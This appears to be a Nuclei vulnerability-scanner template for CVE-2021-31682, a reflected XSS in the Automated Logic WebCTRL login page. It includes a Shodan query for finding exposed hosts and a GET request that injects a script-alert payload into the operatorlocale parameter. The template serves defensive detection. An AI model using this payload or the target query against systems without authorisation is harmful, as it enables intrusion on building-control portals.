id: CVE-2021-31682

info:
  name: WebCTRL OEM - Reflected XSS
  author: gy741,dhiyaneshDk
  severity: medium
  description: The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-31682
    cwe-id: CWE-79
  tags: cve,cve2021,webctrl,xss
  metadata:
    shodan-query: 'html:"/_common/lvl5/dologin.jsp"'

requests:
  - method: GET
    path:
      - '{{BaseURL}}/index.jsp?operatorlocale=en/%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%20'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "><script>alert(document.domain)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header